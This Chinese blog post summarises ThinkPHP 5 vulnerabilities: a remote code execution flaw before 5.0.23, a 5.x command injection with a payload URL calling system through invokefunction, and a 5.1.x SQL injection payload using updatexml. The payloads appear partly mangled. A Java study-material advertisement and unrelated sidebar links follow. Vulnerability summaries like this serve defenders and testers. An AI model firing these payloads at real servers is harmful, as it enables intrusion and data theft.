当前位置:网站首页>thinkphp漏洞总结
thinkphp漏洞总结
2022-08-01 23:44:00 【bhegi_seg】
目录
前言
thinkphp是一个国内轻量级的开发框架,采用php+apache,在更新迭代中,thinkphp也经常爆出各种漏洞,thinkphp一般有thinkphp2、thinkphp3、thinkphp5、thinkphp6版本,前两个版本已经停止更新,主要介绍下thinkphp5的漏洞
一、远程代码执行漏洞
1.1 影响范围
thinkphp<5.0.23
1.2 漏洞详情
这个版本中因为method方法没有准确处理变量名,导致可以在request方法中构造参数执行系统命令


二、5.x远程命令注入
由于没有开启强制路由,未对路由的控制器进行过滤,导致远程命令执行。
payload :
http://xx.xx.xx.xx/s=index/ hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=命令参数
三、5.1.x SQL注入
由于服务器处理order by的参数时,未对数组进行过滤,若传入的参数为数组,则会导致漏洞产生
payload:
index.phpids[0,updatexml(0,concat(0xa,user()),0)]=1`

先自我介绍一下,小编13年上师交大毕业,曾经在小公司待过,去过华为OPPO等大厂,18年进入阿里,直到现在。深知大多数初中级java工程师,想要升技能,往往是需要自己摸索成长或是报班学习,但对于培训机构动则近万元的学费,着实压力不小。自己不成体系的自学效率很低又漫长,而且容易碰到天花板技术停止不前。因此我收集了一份《java开发全套学习资料》送给大家,初衷也很简单,就是希望帮助到想自学又不知道该从何学起的朋友,同时减轻大家的负担。添加下方名片,即可获取全套学习资料哦
边栏推荐
- yay 报错 response decoding failed: invalid character ‘<‘ looking for beginning of value;
- 云原生DevOps环境搭建
- FAST-LIO2 code analysis (2)
- 添加大量元素时使用 DocumentFragments
- PostgreSQL Basics--Common Commands
- qt-faststart installation and use
- Several interview questions about golang concurrency
- 一道golang中关于iota的面试题
- sys_kill system call
- Avoid , ,
, and tags
猜你喜欢
随机推荐
Flink学习第五天——Flink可视化控制台依赖配置和界面介绍
Classical Literature Reading--DLO
经典文献阅读之--DLO
numpy.hstack
辛普森悖论
Bean的生命周期
Flink Yarn Per Job - 提交流程一
路径压缩、、
oozie startup error on cdh's hue, Cannot allocate containers as requested resource is greater than maximum allowed
Chapter 19 Tips and Traps: Common Goofs for Novices
qt-faststart installation and use
如何用Redis实现分布式锁?
颜色透明参数
GIF制作-灰常简单的一键动图工具
When using DocumentFragments add a large number of elements
Appears in oozie on CDH's hue, error submitting Coordinator My Schedule
Various Joins of Sql
软技能之UML图
numpy.where
在CDH的hue上的oozie出现,提交 Coordinator My Schedule 时出错
![[Camp Experience Post] 2022 Cybersecurity Summer Camp](/img/1e/716bafc679dc67d3d54bcc21a3b670.png)







